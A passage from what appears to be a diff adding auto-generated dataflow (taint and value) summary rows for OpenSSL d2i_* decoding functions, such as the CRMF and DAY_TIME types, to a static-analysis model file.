"(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - 